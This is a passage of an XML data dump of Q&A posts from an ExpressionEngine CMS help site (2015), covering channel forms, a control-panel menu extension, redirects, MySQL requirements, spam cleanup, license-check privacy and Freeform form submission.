  <row Id="32015" PostTypeId="2" ParentId="31997" CreationDate="2015-06-19T16:33:20.770" Score="0" Body="&lt;p&gt;What results do you get without the &lt;code&gt;exp:store:product&lt;/code&gt; tag pair? Also, why do you have this within the channel form?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking it might have sometihng to do with this you see. Try this out nad let us know what happens : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;product&quot; class=&quot;styled-form&quot; return=&quot;dashboard&quot; datepicker=&quot;no&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;}&#xA;    &amp;lt;input type=&quot;date&quot; id=&quot;p_date_available&quot; name=&quot;p_date_available&quot; value=&quot;{p_date_available format=&quot;%Y-%m-%d&quot;}&quot; required/&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MY thinking is that aa product is basically a channel entry, so we can use the channel entry form to influence it, without the need for the store tags. I don't know &lt;strong&gt;why&lt;/strong&gt; it would make it work, but its worth a trial and error thang!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-19T16:33:20.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32016" PostTypeId="2" ParentId="32010" CreationDate="2015-06-19T16:41:28.460" Score="2" Body="&lt;p&gt;There isn't a standard function, but there is a standard event hook, so within your module you can create an extension too, and use this to input your menu item. This way when you install the module, you can install the extension as well and job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the below, its a strip down of an extension I use to add items to the admin menu, as I have it to hand it might provide a short cut for you: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the below the premise is we hook &lt;code&gt;cp_menu_array&lt;/code&gt; on a fucntion called &lt;code&gt;add_menu_items&lt;/code&gt;, this method recieves 1 parameter, the CP menu as a multi-dimentional array. Re-order, add to, remove from the array as much as you like, remember to return the array and your done. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MY_admin_menu_ext {&#xA;&#xA;    var $name = 'Admin Menu Manager';&#xA;    var $version = '1.0';&#xA;    var $settings_exist = 'n';&#xA;    var $docs_url = '';&#xA;    var $settings = array();&#xA;    var $EE;&#xA;&#xA;    /**&#xA;     * Extension Constructor&#xA;     */&#xA;    function __construct($settings = array()){&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;settings = $settings;&#xA;    }&#xA;&#xA;    // - Extensions -----------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Activate Extension&#xA;     */&#xA;    function activate_extension() {&#xA;        $this-&amp;gt;settings = array();&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('extensions', array(&#xA;            'class'    =&amp;gt; __CLASS__,&#xA;            'hook'     =&amp;gt; 'cp_menu_array',&#xA;            'method'   =&amp;gt; 'add_menu_items',&#xA;            'settings' =&amp;gt; serialize($this-&amp;gt;settings),&#xA;            'priority' =&amp;gt; 10,&#xA;            'version'  =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled'  =&amp;gt; 'y'&#xA;        ));&#xA;    }&#xA;&#xA;    /**&#xA;     * Update Extension&#xA;     */&#xA;    function update_extension($current = FALSE) {&#xA;        if (! $current || $current == $this-&amp;gt;version) { return FALSE; }&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('class',__CLASS__);&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('extensions', array('version' =&amp;gt; $this-&amp;gt;version));&#xA;    }&#xA;&#xA;    /**&#xA;     * Disable Extension&#xA;     */&#xA;    function disable_extension() {&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;delete('extensions');&#xA;    }&#xA;&#xA;    // - Hooks -----------------------------------------------------------------&#xA;&#xA;    //modify the control panel menu&#xA;    function add_menu_items($menu){&#xA;&#xA;        //Add General Content Settings Link to the Content Menu after 'Files', before hr &amp;amp; overview&#xA;        $i = 0;&#xA;        $newMenu = array();&#xA;        foreach ( $menu['content'] as $key =&amp;gt; $item ){&#xA;            $newMenu[$key] = $item;&#xA;            if ( $i == 2 ){&#xA;                $newMenu['global_settings'] = BASE.AMP.'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=DESIRED-MODULE';&#xA;            }&#xA;            $i++;&#xA;        }&#xA;        $menu['content'] = $newMenu;&#xA;        return $menu;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-19T16:41:28.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32017" PostTypeId="2" ParentId="31999" CreationDate="2015-06-19T17:43:30.240" Score="0" Body="&lt;p&gt;Yes. You just need to choose the small and big preview in the field settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2LhK2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the only way to make the table bigger would be to hack the CSS for the fieldtype.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-06-19T17:43:30.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32018" PostTypeId="2" ParentId="31998" CreationDate="2015-06-19T17:46:10.203" Score="1" Body="&lt;p&gt;Just go to Modules -&gt; Forms -&gt; Settings and make sure you have messages in there. Then click Save. If you updated from an older version, these might not be saved.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-06-19T17:46:10.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32019" PostTypeId="1" AcceptedAnswerId="32062" CreationDate="2015-06-19T20:09:14.213" Score="0" ViewCount="57" Body="&lt;p&gt;I'm having trouble importing a db locally. So I'm doing a reduction test by importing batches of tables at a time, until I meet the offender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;exp_super_search_terms looks suspiciously offensive. It's weighing in at nearly 60MB and contains what looks like random spammy entries. There are over 1.2million entries in it. Yup, you read correctly. So, I'd like to empty it of it's gunk and possibly disable any future entries being recorded in it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the exp_super_search_terms &quot;does not contain a unique column. Grid edit, checkbox, Edit, Copy and Delete features are not available.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I go about flushing it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how do I not make it writable anymore, until we sort out the spam barrage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&#xA;I've emptied the table. But I'd still be interested in knowing how to keep the table in check from further assaults. &lt;/p&gt;&#xA;" OwnerUserId="658" LastEditorUserId="658" LastEditDate="2015-06-20T08:05:40.713" LastActivityDate="2015-06-23T22:15:10.810" Title="Emptying exp_super_search_terms" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32020" PostTypeId="2" ParentId="31972" CreationDate="2015-06-20T15:22:35.360" Score="0" Body="&lt;p&gt;I'm not sure I follow, but can you just drag one to go underneath another parent and then move the parent under it?&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2015-06-20T15:22:35.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32021" PostTypeId="1" AcceptedAnswerId="32044" CreationDate="2015-06-20T17:40:31.043" Score="0" ViewCount="48" Body="&lt;p&gt;Has anyone noticed a problem when trying to add a CI description with copy and right click to paste into the description field? For me it is not being saved, if I paste it then re-type one letter or more it saves OK as does straight typing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using CI 5.4.19 and EE 2.10.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="6411" LastActivityDate="2015-06-22T17:16:09.813" Title="EE and Channel Images Copy and Paste" Tags="|ee2|channel-images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32022" PostTypeId="1" CreationDate="2015-06-20T17:51:39.713" Score="1" ViewCount="44" Body="&lt;p&gt;We installed Low NoSpam recently and already have captcha enabled and in the Low NoSpam documentation it reads like it will delete all spam registrations, but instead they're just sitting in our database waiting to be deleted. Is this the case and we just need to manually delete them? Or should they automatically be purged. Or is something else wrong? At one point before we caught the issue we had over 800,000 registrations on the site that should only have about few hundred at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help you can offer.&lt;/p&gt;&#xA;" OwnerUserId="6412" LastActivityDate="2015-09-20T14:10:28.237" Title="100 Spam Registrations Per Day Even With Low NoSpam" Tags="|low-no-spam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32023" PostTypeId="1" AcceptedAnswerId="32024" CreationDate="2015-06-21T12:22:29.773" Score="0" ViewCount="80" Body="&lt;p&gt;Im having a minor issue with my channel form. The form is ment to create new entry instead of editing one. (when editing entries dont get the errors because entry_id is present).&#xA;Using latest EE 2.10.1, with Publisher 1.6.4 running on php5.6.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE's docs states that when channel form doesnt find entry_id, it will create new entry, and because Publisher is somehow checking things againts entry_id, errors are thrown because there is no entry_id available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the opening tag for channel:form I have now (have tried about all variations with dif params I can think of), does anyone have any idea what I might be missing?&#xA;&lt;code&gt;&#xA;{exp:channel:form channel=&quot;tapahtumat&quot; include_jquery=&quot;no&quot; status=&quot;open&quot; entry_id=&quot;{segment_3}&quot; datepicker=&quot;no&quot; class=&quot;form-horizontal&quot; author_only=&quot;yes&quot; cache=&quot;no&quot; return=&quot;{phrase:uustapahtuma}/ENTRY_ID&quot;}&lt;/code&gt;&#xA;Below is inputs cos dunno how I can add them inside code here (sorry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;input type=&quot;hidden&quot; name=&quot;lang_id&quot; value=&quot;{publisher:current_language_id}&quot;&gt;&#xA;input type=&quot;hidden&quot; name=&quot;publisher_view_status&quot; value=&quot;draft&quot;&gt;&#xA;input type=&quot;hidden&quot; name=&quot;publisher_save_status&quot; value=&quot;open&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Errors what I get are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: entry_id&#xA;Filename: publisher/ext.publisher.php&#xA;Line Number: 594&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: entry_id&#xA;Filename: publisher/ext.publisher.php&#xA;Line Number: 601&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure what else I can tell more than I use the phrase on return param because it didnt seem to translate the URL when creating entry in different language.&#xA;I do not have drafts enabled, Im using Publisher purely for translating content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be nice, thank you.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-06-21T23:34:12.107" Title="2 PHP errors while creating new entry using Publisher" Tags="|php-errors|publisher|" AnswerCount="1" CommentCount="0" ClosedDate="2015-06-22T15:38:15.813" ContentLicense="CC BY-SA 3.0" />
  <row Id="32024" PostTypeId="2" ParentId="32023" CreationDate="2015-06-21T23:34:12.107" Score="1" Body="&lt;p&gt;Please submit this to boldminded.com/support. I don't do support here.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2015-06-21T23:34:12.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32025" PostTypeId="1" AcceptedAnswerId="32034" CreationDate="2015-06-22T02:50:43.830" Score="0" ViewCount="153" Body="&lt;p&gt;I noticed the following in my EE account: &quot;This license is in use on multiple domains, please make sure each use is authorized&quot;. The reason seems to be due to me having EE installed on development server and production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This got me wondering and concerned though. I'm guessing EE has some sort of homing beacon? What information is being exposed from my server to EE? I know it's at least exposing my domain names. Anything else I need to be concerned about from a privacy and securiry perspective?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are any of the addons doing something similar?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-06-22T11:21:24.577" Title="&quot;This license is in use on multiple domains&quot; - Privacy &amp; Security issue?" Tags="|security|license|licensing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32026" PostTypeId="2" ParentId="32022" CreationDate="2015-06-22T08:05:28.280" Score="0" Body="&lt;p&gt;Check your settings in Low NoSpam. Have you set &quot;check member registrations&quot; to &quot;yes&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are also the member groups selected that should be checked?&lt;/p&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-06-22T08:15:17.587" LastActivityDate="2015-06-22T08:15:17.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32027" PostTypeId="1" CreationDate="2015-06-22T08:31:35.503" Score="0" ViewCount="72" Body="&lt;p&gt;I'm trying to display all the data of my members, including the last time they logged in (last visit), but I can't seem to get the right data. Either I receive the data of the users that's currently logged in, or nothing at all. I'm currently trying this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Last visit&#xA;&#xA;{exp:low_alphabet:entries&#xA;        channel=&quot;members&quot;&#xA;        status=&quot;Members-id5&quot;&#xA;    }&#xA;    {exp:member:custom_profile_data member_id=&quot;{entry_date}&quot;}{last_visit format=&quot;%Y %m %d&quot;}{/exp:member:custom_profile_data}&#xA;{/exp:low_alphabet:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought this should work since this is the way it's being described here: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/member/#member-profile-templates&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/member/#member-profile-templates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone has the idea what's the right way to do it?&lt;/p&gt;&#xA;" OwnerUserId="6083" LastActivityDate="2016-06-01T13:12:50.050" Title="Members last visit zoo visitor" Tags="|members|zoo-visitor|status|low-alphabet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32028" PostTypeId="1" AcceptedAnswerId="32033" CreationDate="2015-06-22T08:42:42.210" Score="0" ViewCount="261" Body="&lt;p&gt;Does anyone have a link to the MYSQL version supported by different versions of ExpressionEngine? I need to upgrade the MYSQL version on a server containing several EE sites.&#xA;Thanks,&#xA;Clive&lt;/p&gt;&#xA;" OwnerUserId="986" LastActivityDate="2016-07-15T17:19:45.110" Title="ExpressionEngine versions and MYSQL support" Tags="|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32029" PostTypeId="2" ParentId="32027" CreationDate="2015-06-22T09:28:52.197" Score="0" Body="&lt;p&gt;The right way to do it turned out to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;        channel=&quot;members&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        status=&quot;Members-id5|Super_Admins-id1&quot;&#xA;    }&#xA;        {exp:member:custom_profile_data member_id=&quot;{author_id}&quot;}&#xA;           {last_visit format=&quot;%d %m %Y&quot;}&#xA;        {/exp:member:custom_profile_data};&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6083" LastActivityDate="2015-06-22T09:28:52.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32030" PostTypeId="1" AcceptedAnswerId="32032" CreationDate="2015-06-22T09:57:34.593" Score="1" ViewCount="4025" Body="&lt;p&gt;We're trying to use redirect to allow our website editors to link to external pages, however when we use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;  {redirect='{external_link}'}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just takes them to &lt;a href=&quot;http://example.com//http://www.myredirecturl.com&quot; rel=&quot;nofollow&quot;&gt;http://example.com//http://www.myredirecturl.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use redirect to link to external websites? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2017-10-20T10:05:39.353" Title="Using {redirect=&quot;&quot;} to redirect to an external website" Tags="|redirects|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32031" PostTypeId="2" ParentId="28324" CreationDate="2015-06-22T09:59:15.173" Score="0" Body="&lt;p&gt;We ended up using stash to do this, not sure it's possible with just standalone EE, if it is though i'd love to know!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2015-06-22T09:59:15.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32032" PostTypeId="2" ParentId="32030" CreationDate="2015-06-22T10:27:44.660" Score="7" Body="&lt;p&gt;Not with a tag, but with a PHP snippet you can, you have some options: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using EE's built on function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php ee()-&amp;gt;functions-&amp;gt;redirect('{external_link}'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You'll need &lt;strong&gt;PHP parsing on&lt;/strong&gt;, if you want to use the &lt;code&gt;{external_link}&lt;/code&gt; tag you'll have to set it to run on &lt;strong&gt;Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Location Header redirect.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With the above you may get some screen artifacts as the template engine runs before the redirect. you can avoid this with a bog standard PHP redirect. Commonly known as a &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php header('Location: {external_link}'); exit; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method you'll also need &lt;strong&gt;PHP on Output&lt;/strong&gt;, so you can parse the &lt;code&gt;{external_link}&lt;/code&gt; tag in the PHP snippet, but this should abort the template engine and redirect a bit cleaner. Make sure this statement is executed BEFORE you send anything to the browser.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;You could always set up a JS redirect and push the tag into some script, means loading the page before redirecting though, but no need for PHP parsing: &lt;/p&gt;&#xA;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My personal favourite is option 2.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2017-10-20T10:05:39.353" LastActivityDate="2017-10-20T10:05:39.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32033" PostTypeId="2" ParentId="32028" CreationDate="2015-06-22T11:06:05.683" Score="2" Body="&lt;p&gt;You can dig through the various &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/requirements.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; flavours. From this I can see : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.10 = MySQL 5.0.3 or newer&lt;/li&gt;&#xA;&lt;li&gt;EE 2.9  = MySQL 5.0.3 or newer&lt;/li&gt;&#xA;&lt;li&gt;EE 2.8  = MySQL 5.0.3 or newer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How far back do you need to go?? Using the &lt;a href=&quot;http://web.archive.org/web/20140715000000*/https://ellislab.com/expressionengine/user-guide/installation/requirements.html&quot; rel=&quot;nofollow&quot;&gt;Wayback Machine&lt;/a&gt; I can see older version requirments : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.7 = MySQL 5.0.3+ (Feb 22 2014)&lt;/li&gt;&#xA;&lt;li&gt;EE 2.6 = MySQL 5.0.3+ (Apr 25 2013)&lt;/li&gt;&#xA;&lt;li&gt;EE 2.5 = MySQL 4.1+ (Nov 29 2012) &amp;lt;== this is where the current documentation site started.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You need to go back any further?? Ok then! &lt;a href=&quot;http://web.archive.org/web/20121028085240/http://expressionengine.com/user_guide/installation/requirements.html&quot; rel=&quot;nofollow&quot;&gt;Wayback @ expressionengine.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.4 = MySQL 4.1+ (Jan 26 2012)&lt;/li&gt;&#xA;&lt;li&gt;EE 2.3 = MySQL 4.1+ (Oct 24 2011)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;More?? You want &lt;em&gt;MOREEEE&lt;/em&gt;? (Oliver Twist reference) &lt;a href=&quot;http://web.archive.org/web/20110829030020/http://expressionengine.com/user_guide/&quot; rel=&quot;nofollow&quot;&gt;EE2.2Wayback&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.2 = MySQL 4.1+ (~Jun 24 2011)&lt;/li&gt;&#xA;&lt;li&gt;EE 2.1 = MySQL 4.1+ (~Oct 15 2010)&lt;/li&gt;&#xA;&lt;li&gt;EE 2.0 = Beta, if your running sites on this, well....&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-22T11:06:05.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32034" PostTypeId="2" ParentId="32025" CreationDate="2015-06-22T11:21:24.577" Score="3" Body="&lt;p&gt;Addons is too broad for the forum, you'll have to contact the manufacurers however I've never seen a 3rd party phone home from the popular developers (SolSPace, P&amp;amp;T, GotoLow, Expresso, PutYourLightsOn)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Licence check came in on version 2.9 (July 15, 2014), all it does is send some server details back to EllisLabs, heres the actual payload code for you to see : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$payload = array(&#xA;    'contact'           =&amp;gt; ee()-&amp;gt;config-&amp;gt;item('license_contact'),&#xA;    'license_number'    =&amp;gt; (IS_CORE) ? 'CORE LICENSE' : ee()-&amp;gt;config-&amp;gt;item('license_number'),&#xA;    'domain'            =&amp;gt; ee()-&amp;gt;config-&amp;gt;item('site_url'),&#xA;    'server_name'       =&amp;gt; (isset($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : '',&#xA;    'ee_version'        =&amp;gt; ee()-&amp;gt;config-&amp;gt;item('app_version'),&#xA;    'php_version'       =&amp;gt; PHP_VERSION&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fairly safe. also I recall when they brought this out that the licence check is non destructive, it is for infomation purposes so you can manage your licenses better, &lt;strike&gt;but I can't find it anywhere&lt;/strike&gt;&lt;a href=&quot;https://ellislab.com/blog/entry/improved-license-management&quot; rel=&quot;nofollow&quot;&gt;(found it)&lt;/a&gt;. The code doesn't show anything other than the payload-ping though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Quote EllisLabs&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;EllisLab has always taken a soft approach to license registration so we treaded very lightly here. You will never be locked out of your software nor will the behavior and output of your site be impacted by this in any way.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-22T11:21:24.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32035" PostTypeId="2" ParentId="32021" CreationDate="2015-06-22T11:25:20.140" Score="0" Body="&lt;p&gt;Where are you pasting from my friend? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen isues when you rtake your copy from like word documents ect (it copies nasty MS centric html formatting which can result in nothing the other end)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good test, copy your text, paste it into notepad, then re-copy and paste into CI tectfield. DOes that work?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-22T11:25:20.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32036" PostTypeId="1" CreationDate="2015-06-22T13:35:53.330" Score="1" ViewCount="608" Body="&lt;p&gt;I'm trying to display one entry with the search:field_name parameter of ExpressionEngine. This works fine, but I can't get the no results tag to work. I have tried a lot of things, including the use of other things then exp:channel:entries. This is my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:channel:entries&#xA;            channel=&quot;projecten&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            search:project_trackcode=&quot;={freebie_2}&quot;&#xA;            limit=&quot;1&quot;&#xA;            require_entry=&quot;yes&quot;&#xA;        }&#xA;            test&#xA;            {if no_results}&#xA;               Geen resultaten&#xA;            {/if}&#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't matter if I set require entry to yes or no. The code does return entries if available, but when it doesn't find an entry, it doesn't even seem to enter the {exp:channel:entries}.&lt;/p&gt;&#xA;" OwnerUserId="6083" LastActivityDate="2018-12-01T02:03:10.647" Title="No results not working" Tags="|channel-entries|channel|search|no-results|freebie|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32037" PostTypeId="1" AcceptedAnswerId="32187" CreationDate="2015-06-22T13:49:27.057" Score="0" ViewCount="87" Body="&lt;p&gt;I'm having a Multi-site manager setup and am using Channel Images as image upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the first site, everything goes well. Let's call it www.firstwebsite.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images are uploaded to &lt;code&gt;/server/firstwebsite/uploads/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other one, www.secondwebsite.com, doesn't work that well. Via the admin, I can not upload images in channel images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Console tells me this: &lt;code&gt;http://www.secondwebsite.be/?ACT=44&amp;amp;ajax_method=upload_file&amp;amp;field_id=96&amp;amp;key=1434980450 Failed to load resource: net::ERR_NAME_NOT_RESOLVED&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel images keeps spinning and says: &lt;code&gt;NaN%&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, when I go to firstwebsite via the link in the top right (so I'm editing website two with firstwebsite.com/admin.php, the uploading works BUT it's uploaded to the wrong folder. So &lt;code&gt;/server/firstwebsite/uploads/&lt;/code&gt; rather then &lt;code&gt;/server/secondwebsite/uploads/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone has experience with this? If so, please help. It's an urgent matter. &lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2015-07-06T07:15:29.287" Title="Multi-site manager Channel Images" Tags="|multi-site-manager|error|channel-images|act|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32038" PostTypeId="1" AcceptedAnswerId="32039" CreationDate="2015-06-22T14:10:55.443" Score="1" ViewCount="119" Body="&lt;p&gt;I have a site I inherited and did a big update on. All looked good until we tested the contact forms that use Freeform Pro and they aren't submitting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.10.0&#xA;Latest versions of Structure/Publisher/FreeformPro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form &#xA;            form:class=&quot;form-horizontal&quot; &#xA;            form:id=&quot;freeform&quot;&#xA;            form_name=&quot;contact&quot; &#xA;            form:action=&quot;{root_url}index.php/{publisher:current_language_code}/?ACT=50&quot; &#xA;            return=&quot;{root_url}index.php/{publisher:current_language_code}/{segment_1}/thank-you&quot; &#xA;            parse=&quot;inward&quot; &#xA;            ajax=&quot;yes&quot;&#xA;            required=&quot;first_name|last_name|email&quot;&#xA;            match=&quot;email&quot;&#xA;            recipients=&quot;yes&quot; &#xA;            recipient1=&quot;***email_removed&quot; &#xA;            recipient2=&quot;***email_removed&quot; &#xA;            recipient_template=&quot;contact_form_notification&quot;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Originally the &quot;ACT=50&quot; was &quot;ACT=42&quot; - on a whim I looked at the exp_actions table and saw no entry there for 42 but Freeform had an action of 50 so I thought that might be the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling around it looks like this is possibly .htaccess related.  Currently the site has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} !^(ACT=.*)$ [NC]&#xA;RewriteCond %{REQUEST_URI} !(\.[a-zA-Z0-9]{1,5})$&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 